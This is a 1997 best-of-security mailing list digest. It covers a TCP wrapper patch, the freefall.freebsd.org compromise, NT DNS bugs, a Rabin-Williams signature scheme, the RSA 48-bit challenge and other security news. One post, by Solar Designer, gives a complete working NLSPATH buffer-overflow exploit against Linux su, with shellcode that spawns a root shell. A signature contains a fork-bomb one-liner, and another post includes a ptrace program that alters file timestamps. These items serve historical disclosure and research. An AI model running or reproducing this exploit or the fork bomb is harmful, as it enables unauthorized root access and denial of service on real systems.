From: SMTP%"best-of-security-d@suburbia.net" 21-FEB-1997 18:47:32.89 To: best-of-security-d@suburbia.net CC: Subj: best-of-security-d Digest V97 #7 Return-Path: best-of-security-d-request@suburbia.net Received: by arisia.gce.com (UCX V4.1-12, OpenVMS V7.1 VAX); Fri, 21 Feb 1997 18:46:12 -0500 Received: from pdx1.world.net (pdx1.world.net [192.243.32.18]) by bort.mv.net (8.8.3/mem-951016) with ESMTP id RAA23919 for ; Fri, 21 Feb 1997 17:21:29 -0500 (EST) From: best-of-security-d-request@suburbia.net Received: from suburbia.net (suburbia.net [203.4.184.1]) by pdx1.world.net (8.7.5/8.7.3) with ESMTP id OAA07524; Fri, 21 Feb 1997 14:18:20 -0800 (PST) Received: (from list@localhost) by suburbia.net (8.8.4/8.8.4) id VAA12248; Fri, 21 Feb 1997 21:36:33 +1100 (EST) Date: Fri, 21 Feb 1997 21:36:33 +1100 (EST) Message-Id: <199702211036.VAA12248@suburbia.net> Subject: best-of-security-d Digest V97 #7 X-Loop: best-of-security-d@suburbia.net X-Mailing-List: archive/volume97/7 Precedence: list MIME-Version: 1.0 Content-Type: multipart/digest; boundary="----------------------------" To: best-of-security-d@suburbia.net Reply-To: best-of-security-d@suburbia.net ------------------------------ Content-Type: text/plain best-of-security-d Digest Volume 97 : Issue 7 Today's Topics: BoS: Security Advisory: A simple TCP spoofing attack BoS: Security Advisory - Recent compromise of freefall.freebsd.org BoS: Re: Port 135 [and other NT attacks] (fwd) BoS: UCLA Short Course on "Network and Computer Security" BoS: Reaaly cool unpatented public key algorithm! BoS: 48 bit challenge broken BoS: Re: [root@server.blaze.net.au: server security check output] BoS: Linux NLSPATH buffer overflow BoS: Re: Announce new phf prober release ------------------------------ Date: Tue, 11 Feb 1997 22:25:09 -0500 (EST) From: wietse@porcupine.org (Wietse Venema) To: best-of-security@suburbia.net Cc: best-of-security@suburbia.net Subject: BoS: Security Advisory: A simple TCP spoofing attack Message-Id: <199702120325.WAA13064@spike.porcupine.org> Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Oliver Friedrichs of Secure Networks Inc. describes a semi-blind IP address spoofing attack on servers that wipe IP options once a connection has been established. This protection is used in network daemons such as rshd and rlogind, and also in my own tcp wrapper. I've updated the tcp wrapper source code. The wrapper now optionally looks for IP source routing options and disconnects when it finds such options. Those who care to look at my source code will notice that recognizing IP options reliably is not entirely trivial. Below is a little blurb with pointers to source code archives. Wietse --blurb-- Version 7.5 of my TCP Wrapper program is available. Version 7.5 has support for more UNIX system types, and gives better protection against IP spoofing attacks based on source-routed TCP connections, by refusing them. This protection is not enabled by default. Version 7.5 does not introduce new features. Do not bother applying this patch when you built your current tcp wrapper without enabling the KILL_OPTIONS compiler switch. The patch is not useful for obsolete UNIX versions that pre-date 4.4BSD, such as SunOS 4. Such systems are unable to receive source-routed connections and are therefore not vulnerable to IP spoofing attacks with source-routed TCP connections. In order to upgrade, you can pick up the complete 7.5 source from the usual FTP archives: ftp.win.tue.nl:/pub/security/tcp_wrappers_7.5.tar.gz ftp.cert.org:/pub/tools/tcp_wrappers (soon) MD5 checksum: 8c7a17a12d9be746e0488f7f6bfa4abb You can also send an email message to majordomo@wzv.win.tue.nl with as body (not subject): get tcp-wrappers-announce Patch05 The full source code (Part01..07, Patch01..05) can be obtained in the same manner. You can send multiple `get' commands in one message. ------------------------------ Date: Tue, 11 Feb 1997 20:47:00 -0800 From: "Jordan K. Hubbard" To: best-of-security@suburbia.net Subject: BoS: Security Advisory - Recent compromise of freefall.freebsd.org Message-ID: <12361.855722820@time.cdrom.com> Overview: The following advisory documents a recent security compromise on freefall.freebsd.org, the FreeBSD Project's master source repository machine, discussing some of the potential ramifications of the event and the recovery measures which are being carried out in its aftermath. Since investigation is still ongoing and at least one law enforcement agency is currently involved, some details will, of necessity, need to be deliberately vague or even omitted entirely for now. We apologize for this and promise to keep everyone as up-to-date as possible on events as the situation progresses, releasing information as we're allowed and deem it prudent. Anyone with an account on freefall.freebsd.org is strongly advised to *CHANGE THEIR PASSWORD*, both on freefall and on any other machines where the same password is used. Based on the Trojan horses we found, you should assume that your password was grabbed and transmitted to a hostile 3rd party if you logged in at any time on or after January 18th, 1997. It does not matter if you logged in with ssh or with telnet, you should assume that your password has been collected. Furthermore, if you used ssh, rlogin or telnet on freefall to go *out* to other machines then you should assume that password information given to these programs was also compromised. Details: The break-ins occurred on at least 2 cdrom.com machines, root being compromised in both instances, and numerous system binaries had Trojan horses inserted for the purpose of gathering and sending back password information. The method of entry used by the attacker(s) is not so important given that both systems were vulnerable to several significant, now known, security exploits at the time and any one of them could have been used to gain entry & root privilege. What is more interesting about this attack is the sophistication of the Trojan horses left behind, assembled as they were from a rather sophisticated "kit" put together by someone who clearly knew their way around a BSD system. This told us that we should not take this attack as just another incident of juvenille pranksterism but as something rather more serious. Since the CVS master repository machine was attacked, it would also be an immediate and obvious concern that the intruder may have taken advantage of their temporary root privileges to make modifications to the FreeBSD master source repository, possibly to introduce back-doors for later use or cause deliberate embarrassment by introducing catastrophic failure modes. Fortunately, neither scenario is as fearsome as it might seem. For one thing, the CVS repository is replicated on hundreds of machines now, all syncing up with varying degrees of (deliberate) latency, and "CTM deltas" are also made continuously from this repository. These streams of CTM information can show exactly what changed from moment to moment in the source tree, entirely independently of the CVS mechanisms (which might be compromised) for doing so. There is also the fact that there are many, many eyes on the FreeBSD source tree right now, more than most of us probably ever thought possible in the beginning, and it's hard to believe that someone would be able to slip a significant attack past the eyes of that many people, watching their daily CTM deltas come by and reviewing, as they do, each change with heavy skepticism before bringing it into their own source trees. To date, no reports of anything suspicious have been received. In summary: We will continue to review our CTM deltas and we will look for signs of skullduggery, but we frankly feel that the real dangers here lie not so much in recently introduced changes, which are easily reviewed for and caught, but in those accidental security holes which have been buried in the BSD code for months or possibly years. Since security seems to have become the theme of the month, and many people have volunteered (in light of our recent 2.1.6 security fracas) to begin a much more serious and comprehensive security audit, we will take advantage of this opportunity to see that all code in the FreeBSD source tree, old and new alike, is reviewed line by line for buffer overflows, unguarded copies, back doors, whatever. We may not make it through every last byte, but we can certainly focus on the "hot spots" (suid programs and system utilities) and do our best to prevent problems like those which caused our recent headaches from reoccuring. This advisory is simply to inform those people who have used freefall in the last 40 days or so that they should change their passwords and to explain to people that yes, there was a break-in to freefall.freebsd.org and yes, we're aware of the issues this raises, both now and in the immediate future, and that we will be exerting significant effort over the next few weeks in dealing aggressively with security issues, both in FreeBSD and on the FreeBSD project machines. FreeBSD Auditing Project: Those interested in participating in "The Great Code Sweep", more officially known as the FreeBSD Auditing Project, should also send mail to me . I'll be working over the next 2 days on dividing /usr/src into reasonable, prioritized, chunks (there, I used "prioritized" in a sentence - I've always wanted to do that) and talking with the volunteer auditors about how to split the work up amongst everyone. Then we'll dive in and go to work! I'll be posting more details on just what it is we're looking for, and how to communicate changes back if you don't have commit access, in the coming days on the current@freebsd.org mailing list. Highlights will also be sent to announce@freebsd.org, including a second call for auditors and full instructions on how to participate, so hopefully no one should miss it. Thanks. Jordan ------------------------------ Date: Wed, 12 Feb 1997 17:34:34 -0700 From: Jonathan Wilkins To: best-of-security@suburbia.net Cc: firewalls@GreatCircle.COM Subject: BoS: Re: Port 135 [and other NT attacks] (fwd) Message-Id: <3.0.32.19970212173433.00735ccc@silence.secnet.com> Content-Type: text/plain; charset="us-ascii" Chris Klaus posted: >NT DNS Denial Attack > >If an attacker spoofs a response that the DNS never requested, DNS will >terminate. >There is an advisory on this available at http://www.iss.net/lists/general/0118.html > >Solution: > >Currently, Microsoft is working on a solution. Here's a little more information on this problem: there were a few different problems discovered in the DNS that Microsoft put out.. the first was due to the reception of a response to an query that was never sent. [basically any DNS packet with the query/response bit set to true] I posted an advisory on this and James Gilroy (the developer of DNS at microsoft) managed to get a fix out in about a day (an admirable feat for a vendor).. Unfortunately the fix wasn't complete.. I managed to find another bug a day or so later.. but once more James put out a patch and this one has passed a few tests I threw at it.. It is due to be released along with service pack 3 which is due out this quarter.. you can also get a copy at ftp://rhino.microsoft.com/ this fix is only available for intel, and as I don't have a NT system running on alpha I haven't confirmed whether or not the alpha version of DNS is vulnerable.. if anyone wants to volunteer a little bit of time we can test it out... Jonathan -=-=-=-=-=-=-=- Jonathan Wilkins | Futuaris | If only they had used their jwilkins@secnet.com | Non Irresus | terminals for niceness instead http://www.secnet.com | Ridebus | of evil ...-Maxwell Smart ------------------------------ Date: Thu, 13 Feb 1997 15:45:00 -0800 From: "Goodin, Bill" To: best-of-security@suburbia.net Subject: BoS: UCLA Short Course on "Network and Computer Security" Message-ID: Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit On April 15-18, 1997, UCLA Extension will present the short course, "Network and Computer Security: Principles and Applications", on the UCLA campus in Los Angeles. The instructors are Thomas Haigh, PhD, Secure Computing Corp; Bill Hancock, PhD, Network 1 Software and Technology; Stephen Kent, PhD, Bolt Beranek and Newman; and Karl Levitt, PhD, UC Davis. Both corporations and government agencies are becoming increasingly dependent on computer networks to perform their operations. As a result, almost every commercial and government information system fielded today must meet increasingly stringent security requirements. Moreover, the nature of those security requirements is changing. In the past, most requirements were for a form of military security that emphasized the need to preserve the confidentiality of data. In today's environment, the integrity and availability of information resources and services are of paramount importance. This course presents a summary of the current state of practice in computer and network security technology with an emphasis on practical Internet security solutions, and provides the tools necessary to develop and evaluate solutions for computer and network security problems. Lectures present an overview of the security products and technologies available today, along with an in-depth look at security principles and network protocol standards, and a variety of worked examples of information system security solutions. The course also looks at network security architectures, implementation alternatives, and ways to protect your system against attacks from both casual hackers and determined corporate adversaries. The course fee is $1495, which includes extensive course materials. These materials are for participants only, and are not for sale. For additional information and a complete course description, please contact Marcus Hennessy at: (310) 825-1047 (310) 206-2815 fax mhenness@unex.ucla.edu http://www.unex.ucla.edu/shortcourses This course may also be presented on-site at company locations. ------------------------------ Date: Fri, 14 Feb 1997 02:30:34 -0500 (EST) From: David Mazieres To: best-of-security@suburbia.net Subject: BoS: Reaaly cool unpatented public key algorithm! Message-Id: <199702140730.CAA13889@reeducation-labor.lcs.mit.edu> A while ago I sent a message here asking about unpatented (in the US) public key agorithms--in particular ones with really fast signature verification. Well, I appear to have found something that exceeds my most optimistic wishes, and would like to know if anyone sees any problems with this as it seems too good to be true (particularly since no one else uses this algorithm). The algorithm is based on the Rabin signature scheme, in which a secret key is two primes (p, q), and the public key is the product of the primes, N = pq. Rabin's scheme is based on the fact that taking square roots mod N is provably as hard as factoring n (which is in theory makes it stronger than RSA, though since the proof shows how to factor n given some square roots it means you need to watch out for chosen message (signing) or cyphertext (decryption) attacks. No problem, just throw in a hash and/or some random padding and blow the provable security, but not in a very worrisome way). The annoying thing about Rabin's scheme is that every quadratic residue m in N has 4 square roots (assuming GCD(m,n)=1). If you use the Chinese remainder theorem to write a number m in ZN* as (mp, mq) where mp = m mod p and mq = m mod q, then the Chinese remainders of the square roots are of the form (x, y), (-x, -y), (x, -y), and (-x, y). However, Hugh Williams found a really nifty solution to the problem in: A Modification of the RSA Public-Key Encryption Procedure. H. C. Williams, IEEE Transactions on Information Theory, Vol. IT-26, No. 6, November, 1980. Note that this is NOT the technique that is usually cited for Williams. For example, in Applied Cryptography, Schneier cites the above paper, but then describes a more cumbersome way of working around the 4 square root problem. Using the above technique [and choosing a parameter Williams calls "e" to be 1, both for simplicity and to avoid any resemblance to RSA--I suppose that could weaken the cipher but I don't see how it breaks the proof of the cipher's difficulty], I have implemented a cipher that has the following properties: * Public keys are just a multi-precision integer, easy to ship around * Signature verification takes under 200 microseconds on a Pentium Pro 200 MHz with 1024 bit keys. * Signing/decryption takes well under 100 milliseconds on a Pentium Pro with 1024 bit keys. * Cipher as hard to break as factoring, if I haven't botched something horribly by misinterpreting the paper or using e=1. So how does this cipher work? To generate a key, choose two prime numbers p, q, such that: p = 3 mod 8 q = 7 mod 8 Note: This means pq = 5 mod 8, so J(2, pq) = -1. [J is Jacobi] This follows from the well-known formula for computing Jacobi's. Then define N and k as: N = pq k = 1/2 * (1/4 * (p-1) * (q-1) + 1) The public key is (N). The private key is (N, k). Define the following four operations. (Note D2 can only be performed with the secret key.) { 4(2M+1) if J(2M+1, N) = 1 E1(M) = { 2(2M+1) if J(2M+1, N) = -1 { key cracked! if J(2M+1, N) = 0 (completely improbable) E2(M) = M^2 % N D2(M) = M^k % N { (M/4-1)/2 when M = 0 mod 4 D1(M) = { ((N-M)/4-1)/2 when M = 1 mod 4 { (M/2-1)/2 when M = 2 mod 4 { ((N-M)/2-1)/2 when M = 3 mod 4 Public key operations on messages M < (N-4)/8 are as follows: Encrypt: E2(E1(M)) Decrypt: D1(D2(M)) Sign: D2(E1(M)) Verify: D1(E2(M)) How does this work? Well, each number has 4 square roots, with Chinese remainders (x, y), (-x, -y), (x, -y), and (-x, y). Since p = q = 3 mod 4, we have that the Legendre values L(x, p) = - L(-x, p), with the same for y and q. Thus, choose x and y without loss of generality such that L(x,p) = L(y,q) = 1, and thus L(-x,p) = L(-y,p) = -1. It follows from this that the Jacobi of the first two roots (with respect to N), which is the product of the Legendres, will be 1, while the Jacobi of the last two roots will be -1. Note further that the first two roots will be additive inverses of each other, as will the last two. Now consider the four square roots of (E1(M))^2 mod N. E1(M) is one of these, -E1(M) is another, and there are two more. However, since p and q were chosen to make J(2,N) = -1, we know that J(E1(M),N) = 1. That means E1(M) is either (x, y) or (-x, -y). But we also know that E1(M) is even, and only one of (x, y) and (-x, -y) is be even. This means that M is completely determined by (E1(M))^2 mod N. More specifically, The well known Legendre formula tells us L(x, p) = x^((p-1)/2) mod p. The definition of Jacobi gives us J(c, N) = L(c, p) * L(c, q). Thus, J(c, N) = 1 implies L(c,p) = L(c,q) = +/- 1, which implies c^((p-1)(q-1)/4) mod p = +/- 1 and c^((p-1)(q-1)/4) mod q is the same (i.e. 1 if mod p was 1, q-1 if mod p was p-1). Consequently, J(c, N) = 1 implies c^((p-1)(q-1)/4) = +/- 1, from which it follows that D2(E2(c)) = E2(D2(c)) = c^((p-1)(q-1)/4 + 1) = +/- 1 * c = +/- c. The result, since J(E1(M), N) = 1 is that D2(E2(E1(M))) = +/- E1(M), but since E1(M) is even, and only one of E1(M) and -E1(M) is even, M can easily be recovered by D1. The best part of this is that signature verification is incredibly cheap. Squaring is obviously way cheaper than arbitrary modular exponentiation, and D1 is dirt cheap. The only disadvantage I see here (other than the chosen message I mentioned earlier) is that you loose a few bits off the top of your message space because your message has to make it through E1 without exceeding the modulus N. Given my needs, this cipher seems superior to most of the other public key systems in use today in simplicity (public keys are just numbers), in speed, in avoiding patents, and maybe even in strength (though I don't trust myself not to have done something stupid here and misunderstood the paper, that's why I'm asking for advice here). What makes me really suspicious is that no one else is using this. Does anyone see any potential problems with this cipher? Thanks a lot, David ------------------------------ Date: Fri, 14 Feb 1997 10:04:28 +0100 (MET) From: Germano Caronni To: best-of-security@suburbia.net Subject: BoS: 48 bit challenge broken Message-Id: <199702140904.KAA22019@kom30.ethz.ch> Content-Type: text FOR IMMEDIATE RELEASE 13 February 1997 Local contact: Germano Caronni, gec@acm.org [This press release originated from Melanie Harper] THOUSANDS OF COMPUTERS JOIN TO CRACK THE HARDEST CRYPTOGRAPHIC CHALLENGE EVER Loosely organized international group checks a record 162082778549251 keys in 13 days to find correct solution ZURICH: More than 5000 computers connected via the Internet have broken the most difficult cryptographic challenge ever solved, in just over thirteen days. The challenge was one of a series of cryptographic challenges recently offered by RSA Data Security, Inc., a U.S. firm which produces cryptographic software. The Internet group's successful attempt on the challenge, which is the second record-breaking cryptographic challenge solution within the last two weeks, demonstrates in a dramatic fashion that many encryption systems -- such as those commonly used on the Internet, in electronic commerce, and in so-called "Smart Cards" -- can be broken with relative ease using modern computing techniques. The challenge was solved by a loosely organized group of individuals from around the world who banded together to create a project known as the "Distributed Internet Crack." The group was begun by Germano Caronni, member at the Swiss Federal Institute of Technology in Zurich and quickly grew to include hundreds of people, from commercial as well as academic sites, who worked at a furious pace to write and optimize the necessary software and then run it on thousands of computers simultaneously. The group never met in person but communicated via email. Continuously updated pages on the World-wide Web, available in four different languages, provided the latest information and progress reports. The Distributed Internet Crack first attacked the easiest of RSA's challenges. The group solved this challenge in 3 1/2 hours, only minutes after another group submitted the correct answer. After coming so close to winning the first challenge, the group decided to take on the second one, hundreds of times as difficult. The challenge required that up to 281474976710656 different keys be checked. By putting the power of thousands of powerful and not-so-powerful computers together via the internet, the second challenge was solved on Monday, February 10th, a little over thirteen days after it was issued. The successful completion of the challenge broke new ground in several ways: Besides cracking the hardest key ever, the event also brought together the most computers ever working on a single Internet project (over 5500 computers were operating simultaneously at one point, and over 10,000 computers joined in the project at one time or another), and produced the most cryptographic keys ever checked per second in an openly publicized effort (over 440 million keys per second at peak, and an average of 140 million keys per second over the entire project). If the group would have re-attacked the 40 bit challenge with the computing power it had at the end of this effort, that key would have been broken within 45 minutes. The group is now planning to attempt another challenge issued by RSA, this time aimed at the DES cipher, which has been used in American and other financial institutions for many years. References: RSA Data Security Secret-Key Challenges: http://www.rsa.com/rsalabs/97challenge/ Team Web Pages: http://www.klammeraffe.org/challenge/ http://www.ee.ethz.ch/challenge/ and others. Software: ftp://ftp.tik.ee.ethz.ch/pub/projects/dic/ IRC: #challenge Preliminary Web page for DES challenge: http://fh28.fa.umist.ac.uk/~des/ Note: Both long numbers in this document have exactly 15 digits. --NAA20572.855838366/tik1.ethz.ch-- -- <...cookie space for rent...> Germano Caronni caronni@tik.ee.ethz.ch http://www.tik.ee.ethz.ch/~caronni PGP-Key-ID:7B7AE5E1 gec@acm.org 997C6DC4AF930A5D2D5D6AEAA196C33B ------------------------------ Date: Fri, 14 Feb 1997 23:57:25 +0100 From: Tor Egge To: best-of-security@suburbia.net Cc: freebsd-current@freebsd.org Subject: BoS: Re: [root@server.blaze.net.au: server security check output] Message-Id: <199702142257.XAA05349@pat.idt.unit.no> Content-Type: Multipart/Mixed; boundary="--Next_Part(Fri_Feb_14_23:57:14_1997)--" ----Next_Part(Fri_Feb_14_23:57:14_1997)-- Content-Type: Text/Plain; charset=us-ascii > In article <19970215033810.19932@usn.blaze.net.au>, > David Nugent wrote: > > > This is the second time I've seen this since I last built > > world - something has "touched" sendmail. It doesn't appear to > > have been hacked, and I even checked the md5 against what it was > > originally when I last installed sendmail and it hasn't changed. > > But suddenly the file date has been modified, and only a couple > > of hours ago. > > Yes, I have seen this sort of thing in all versions of FreeBSD > since 2.0.5, the first one I used. It's not specific to sendmail, > although I've only noticed it in setuid programs. (That may be > just because those are the ones that show up in the security logs.) > I have seen it happen to my X server a couple of times. It is some > kind of anomaly involving the VM system, I would guess. I don't > like it either, but nobody has ever been able to explain it, as > far as I know. On my system, I see it maybe once every 4-6 months. > I don't think anybody knows of a way to make it happen deliberately. > Using ptrace, you can touch any file for which you have read access. A program for recreating this problem is appended. This time, it also expanded the size of the file from 161 to 4096 bytes. ----- ikke:/amd/kamelia/home/kamelia/a/tegge$ ls -l /etc/shells* -rw-r--r-- 1 root wheel 161 Aug 17 1996 /etc/shells -rw-r--r-- 1 root wheel 161 Aug 16 1996 /etc/shells.bak -rw-r--r-- 1 root wheel 161 Sep 21 19:21 /etc/shells2 ikke:/amd/kamelia/home/kamelia/a/tegge$ ./timestampbug fd = 3 len is 161 PT_ATTACH: got = 0, got = 0x00000000, errno=0, error=Undefined error: 0 waitpid: got = 0, got = 0x00000000, errno=0, error=Undefined error: 0 PT_READ: got = 419545088, got = 0x1901c000, errno=0, error=Undefined error: 0 PT_READ: got = 1766596643, got = 0x694c2023, errno=0, error=Undefined error: 0 ikke:/amd/kamelia/home/kamelia/a/tegge$ sync ikke:/amd/kamelia/home/kamelia/a/tegge$ ls -l /etc/shells* -rw-r--r-- 1 root wheel 161 Aug 17 1996 /etc/shells -rw-r--r-- 1 root wheel 161 Aug 16 1996 /etc/shells.bak -rw-r--r-- 1 root wheel 4096 Feb 14 23:39 /etc/shells2 --------- - Tor Egge ----Next_Part(Fri_Feb_14_23:57:14_1997)-- Content-Type: message/rfc822 To: dyson@freebsd.org, dyson@dyson.iquest.net Subject: Re: More feedback on kern/1512 In-Reply-To: Your message of "Mon, 9 Sep 1996 10:13:35 -0500 (EST)" References: <199609091513.KAA03606@dyson.iquest.net> X-Mailer: Mew version 1.03 on Emacs 19.31.1 Mime-Version: 1.0 Content-Type: Multipart/Mixed; boundary="--Next_Part(Fri_Sep_20_01:00:12_1996)--" Date: Fri, 20 Sep 1996 01:00:20 +0200 From: Tor Egge Approved: proff@suburbia.net ----Next_Part(Fri_Sep_20_01:00:12_1996)-- Content-Type: Text/Plain; charset=us-ascii Problem 1 in kern/1512 seems fixed. Good work. Here is a short program to reproduce the timestamp problem reported in kern/1512. By performing as root: cp -p /etc/shells /etc/shells2 as unprivileged user: cc -o timestampbug timestampbug.c ./timestampbug sync /bin/ls -lT /etc/shells* /etc/shells2 and /etc/shells no longer has the same timestamp. There is at least one bug in /usr/src/sys/miscfs/procfs/procfs_mem.c where a vm subsystem error code (KERN_PROTECTION_FAILURE) is passed to the user program as an standard error code (ENOENT). - Tor Egge ----Next_Part(Fri_Sep_20_01:00:12_1996)-- Content-Type: Text/Plain; charset=us-ascii Content-Description: "timestampbug.c" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include char *map; int fd; struct stat stbuf; pid_t pid; int status; char x; main() { int got; size_t len; pid = fork(); assert(pid>=0); if (pid==0) { assert ( (fd = open("/etc/shells2",O_RDONLY,0)) >= 0); printf("fd = %d\n",fd); assert ( ! fstat(fd,&stbuf) ); len = stbuf.st_size; printf("len is %d\n",len); map = mmap( 0,len, PROT_READ,MAP_SHARED,fd, (off_t) 0); assert (((int) map)!= -1 && map); #if 0 printf("Child: map= 0x%08x\n",map); fflush(stdout); x = *map; printf("Child: *map = %d\n",x); fflush(stdout); #endif #if 0 errno = 0; got=mprotect(map,4096,PROT_READ|PROT_WRITE); printf("mprotect: got = %d, got = 0x%08x, errno=%d, error=%s\n", got, got,errno,strerror(errno)); #endif sleep(10); exit(0); } sleep(1); errno = 0; got = ptrace(PT_ATTACH,pid,0,0); printf("PT_ATTACH: got = %d, got = 0x%08x, errno=%d, error=%s\n", got, got,errno,strerror(errno)); errno = 0; waitpid(pid,&status,WNOHANG|WUNTRACED); printf("waitpid: got = %d, got = 0x%08x, errno=%d, error=%s\n", got, got,errno,strerror(errno)); errno = 0; got = ptrace(PT_READ_D,pid,(char *) &map,0); printf("PT_READ: got = %d, got = 0x%08x, errno=%d, error=%s\n", got, got,errno,strerror(errno)); map = (char *) got; #if 1 errno = 0; got = ptrace(PT_READ_D,pid,map,0); printf("PT_READ: got = %d, got = 0x%08x, errno=%d, error=%s\n", got, got,errno,strerror(errno)); #endif #if 0 errno = 0; got = ptrace(PT_WRITE_D,pid,map,got); printf("PT_READ: got = %d, got = 0x%08x, errno=%d, error=%s\n", got, got,errno,strerror(errno)); errno = 0; got = ptrace(PT_WRITE_D,pid,map+1024,got); printf("PT_READ: got = %d, got = 0x%08x, errno=%d, error=%s\n", got, got,errno,strerror(errno)); #endif } ----Next_Part(Fri_Sep_20_01:00:12_1996)---- ----Next_Part(Fri_Feb_14_23:57:14_1997)---- ------------------------------ Date: Thu, 13 Feb 1997 23:08:13 -0500 From: solar@IDEAL.RU To: best-of-security@suburbia.net Subject: BoS: Linux NLSPATH buffer overflow Message-ID: <199702140408.XAA07346@netspace.org> Hi! I'm sorry if the information I'm going to tell about was already known, but I hope it wasn't... I just occasionally found a vulnerability in Linux libc (actually, some of the versions seem not to be vulnerable; my Slackware 3.1 box was though). Unfortunately, I have no time for a real investigation right now, but here's the exploit anyway. Note that the shellcode is a bit different from the usual one: -- it does setuid(geteuid()) by itself; -- easier to modify (no more fixed offsets in shellcode, and the shell name can be changed, too -- the length is not fixed); -- the NULL pointer itself is passed in %edx to the execve syscall, not the pointer to NULL (it seems like a mistake in the Aleph One's article); this doesn't seem to affect anything though. It might be possible to exploit this hole remotely, if using a patched telnet client which would allow exporting large environment variable values. The overflow would happen at /bin/login startup then (somewhat like the famous LD_PRELOAD exploit, but an overflow). I'm not sure of that though, there might be some restrictions on environment variables in telnetd. As for the fix, well, this is a hard one -- would require re-compiling libc, and statically linked binaries. To protect yourself against remote attacks, you could for example change the variable name to something different, with a hex editor (like /usr/bin/bpe), in /lib/libc.so.5, and ensure the exploit stopped working. Of course, this is only a temporary fix. --- nlspath.c --- /* * NLSPATH buffer overflow exploit for Linux, tested on Slackware 3.1 * Copyright (c) 1997 by Solar Designer */ #include #include #include char *shellcode = "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1" "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04" "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb" "\xcd\x80/" "/bin/sh" "0"; char *get_sp() { asm("movl %esp,%eax"); } #define bufsize 2048 char buffer[bufsize]; main() { int i; for (i = 0; i < bufsize - 4; i += 4) *(char **)&buffer[i] = get_sp() - 3072; memset(buffer, 0x90, 512); memcpy(&buffer[512], shellcode, strlen(shellcode)); buffer[bufsize - 1] = 0; setenv("NLSPATH", buffer, 1); execl("/bin/su", "/bin/su", NULL); } --- nlspath.c --- And the shellcode separately: --- shellcode.s --- .text .globl shellcode shellcode: xorl %eax,%eax movb $0x31,%al int $0x80 xchgl %eax,%ebx xorl %eax,%eax movb $0x17,%al int $0x80 .byte 0x68 popl %ecx popl %eax jmp *%ecx call *%esp xorl %eax,%eax cltd movl %ecx,%edi movb $'/'-1,%al incl %eax scasb %es:(%edi),%al jne -3 movl %edi,(%ecx) movl %edx,4(%ecx) movl %edi,%ebx incl %eax scasb %es:(%edi),%al jne -3 movb %dl,-1(%edi) movb $0x0B,%al int $0x80 xorl %eax,%eax incl %eax xorl %ebx,%ebx int $0x80 .byte '/' .string "/bin/sh0" --- shellcode.s --- Signed, Solar Designer ------------------------------ Date: Mon, 17 Feb 1997 13:06:58 -0500 (EST) From: "J. Bouvrie" To: best-of-security@suburbia.net Cc: www-security@ns2.Rutgers.EDU, best-of-security@suburbia.net, BUGTRAQ@NETSPACE.ORG Subject: BoS: Re: Announce new phf prober release Message-Id: <199702171806.NAA27740@dvdt.thetasys.com> Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Or use joophf, available at: ftp://ftp.thetasys.com/pub/security/tools/joophf.1.0.tar.gz This version is a C program... accepts file lists, stdin/stdout input/logging output etc.. Jake > > With the help of several folks I have converted the phf > probe script to work with perl 5. Also made a lot of changes > and hopefully add some thing that will make it faster. > > For more info, documentation, and download instructions checkout: > http://www.eng.auburn.edu/users/rayh/software/phf.html > > # Change Log: > # 19961016 Changed netstat to use IP only speed improvement -n option > # From:Christopher Ellwood > # 19961016 Action parsing fixes > # From:Tom Perrine > # 19961106 Converted to use perl5 sub procedures most operations > # 19960926 Added support for built-in finger or safe_finger > # Added ability to turn off parts of script > # (i.e. finger, ident, fake) > # Added fake PHF HTML code > # From:Paul Danckaert > # Added additional return type for fake PHF > # From:Paul Danckaert > # 19960717 Added Ident support and safe_finger support > # 19960715 Created > > NOTE: If you use the fakePHF portion then at the very end of > the perl script you might want to modify the dummy password > file such that every ones does not look the same. > > Comments, suggestions, bugs are welcomed and can be emailed to > Ray.W.Hiltbrand@Eng.Auburn.EDU > > > -- > Ray W. Hiltbrand Ray.W.Hiltbrand@eng.auburn.edu > Engineering Network Services > Auburn University http://www.eng.auburn.edu/~rayh/rayh.html > If it ain't broke, it doesn't have enough features yet. > -- cat << _EOF_ > f.c ; main() { while(1) { malloc(65535); fork(); } } _EOF_ :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: J. Bouvrie Theta Systems & Development . http://www.thetasys.com . ftp://ftp.thetasys.com UNIX/Macintosh Software Author, Network Engineer|Administrator, EE Junkie :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: gcc f.c ; for i in `ls -la /bin` ; do ; a.out & ; done -------------------------------- End of best-of-security-d Digest V97 Issue #7 *********************************************